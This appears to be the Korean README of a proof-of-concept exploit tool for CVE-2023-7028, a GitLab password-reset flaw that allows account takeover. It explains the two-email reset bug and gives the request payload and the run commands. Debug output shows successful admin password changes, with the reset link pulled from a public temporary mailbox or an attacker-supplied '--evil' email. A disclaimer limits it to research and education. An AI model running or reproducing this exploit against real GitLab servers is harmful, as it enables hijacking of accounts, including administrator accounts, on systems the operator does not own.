
CVE-2023-7028에 대한 개념 증명 익스플로잇으로, 비밀번호 재설정 이메일 조작을 통해 GitLab 계정 탈취를 자동화합니다. 임시 메일 통합 기능을 포함하며 사용자 지정 공격자 이메일을 지원합니다.
이 코드는 취약점의 개념 증명(PoC)이며, 본인이 소유하지 않은 GitLab 인스턴스에 사용하도록 권장하는 것이 아닙니다.
이 도구는 연구 및 교육 목적으로만 개발되었으며, 이 도구를 사용함으로써 발생하는 모든 책임은 사용자 본인에게 있습니다.
CVE-2023-7028은 사용자 상호작용 없이 GitLab 관리자 계정을 탈취할 수 있게 해주는 계정 탈취(Account-Take-Over) 취약점입니다.
이 취약점은 비밀번호 재설정 시 이메일 관리 과정에서 발생합니다. 공격자는 2개의 이메일을 제공할 수 있으며, 재설정 코드는 두 이메일 모두로 전송됩니다.
따라서 대상 계정의 이메일 주소와 공격자의 이메일 주소를 함께 제공하여 관리자 비밀번호를 재설정하는 것이 가능합니다.
(GitLab은 2단계 인증(2FA)이 활성화되어 있으면 이 취약점을 악용할 수 없다고 밝히고 있습니다. 공격자가 비밀번호를 재설정한 후에도 로그인할 수 없기 때문입니다.)
이 취약점은 asterion04에 의해 발견되었습니다.
다음은 예시 페이로드입니다.
user[email][][email protected]&user[email][][email protected]
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected]
[DEBUG] 임시 메일 가져오는 중
[DEBUG] 1secmail.com에서 사용 가능한 도메인 스크래핑 중
[DEBUG] 8개의 도메인 발견됨
[DEBUG] 임시 메일: [email protected]
[DEBUG] authenticity_token 가져오는 중 ...
[DEBUG] authenticity_token = bc91lpzwTOaY9dg5SWjLvvDDb61j6ZunCX4DXYlSnWz9Y3zK35SPiLNShhrDrPVDgY_AzQjzpD5qVt2WXeolog
[DEBUG] 비밀번호 재설정 요청 전송 중
[DEBUG] [email protected] 및 [email protected]으로 이메일 전송 완료!
[DEBUG] 메일 대기 중, 7.5초 동안 대기
[DEBUG] 임시 메일을 사용하여 링크 가져오는 중 | 5회 중 1번째 시도
[DEBUG] [email protected]의 마지막 메일 가져오는 중
[DEBUG] 1개의 메일 발견됨
[DEBUG] 마지막 메일 읽는 중
[DEBUG] 새 비밀번호 생성 중
[DEBUG] authenticity_token 가져오는 중 ...
[DEBUG] authenticity_token = RN6gypVz7Zxtu2zRsJmKPsDHNumIH_UPvdn7aQoWRBnUcqmW1hcu8kYcMvI6XbTDsYuZieMFypbe8SWi3q781w
[DEBUG] 비밀번호를 l3mG2v2XN4UBzbN18ZkW로 변경 중
[DEBUG] CVE_2023_7028 성공!
https://gitlab.example.com/users/sign_in에 접속할 수 있습니다.
사용자 이름: [email protected]
비밀번호: l3mG2v2XN4UBzbN18ZkW
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -e [email protected]
[DEBUG] authenticity_token 가져오는 중 ...
[DEBUG] authenticity_token = 1Yt1EUeWSL-oiSV7v1Z6ghdCDG3w0FFCQB8Uc5B5GAodVNJ26OlPT8HtYYleGXB9F0otas3gnHOtRfhFall8pQ
[DEBUG] 비밀번호 재설정 요청 전송 중
[DEBUG] [email protected] 및 [email protected]으로 이메일 전송 완료!
메일로 수신된 링크 입력: https://gitlab.example.com/users/password/edit?reset_password_token=U8PSU7DXdebdTD3GjMiX
[DEBUG] 새 비밀번호 생성 중
[DEBUG] authenticity_token 가져오는 중 ...
[DEBUG] authenticity_token = N7gs43C9ZMxdniA9UEzzfH2Rlhgejt75M1Kw88vaarP_Z4uE38JjPDT6ZM-xA_mDfZm3HyO-E8jeCFzFMfoOHA
[DEBUG] 비밀번호를 EU7XIYjlawjb5tH2jgmU로 변경 중
[DEBUG] CVE_2023_7028 성공!
https://gitlab.example.com/users/sign_in에 접속할 수 있습니다.
사용자 이름: [email protected]
비밀번호: EU7XIYjlawjb5tH2jgmU
$ python3 .\CVE-2023-7028.py -h
usage: CVE-2023-7028.py [-h] -u URL -t TARGET [-e EVIL]
이 도구는 GitLab에서 CVE-2023-7028을 자동화합니다.
optional arguments:
-h, --help 도움말 메시지를 표시하고 종료합니다.
-u URL, --url URL GitLab URL
-t TARGET, --target TARGET
대상 이메일
-e EVIL, --evil EVIL 공격자 이메일
-p PASSWORD, --password PASSWORD
비밀번호
공격자의 이메일 주소를 지정하는 --evil 옵션 없이 실행하면, 스크립트는 공개 임시 메일(public temp-mail) 을 사용하여 비밀번호 재설정 링크를 찾습니다.
=> 이 PoC를 침투 테스트 중에 사용할 경우 주의하시기 바랍니다.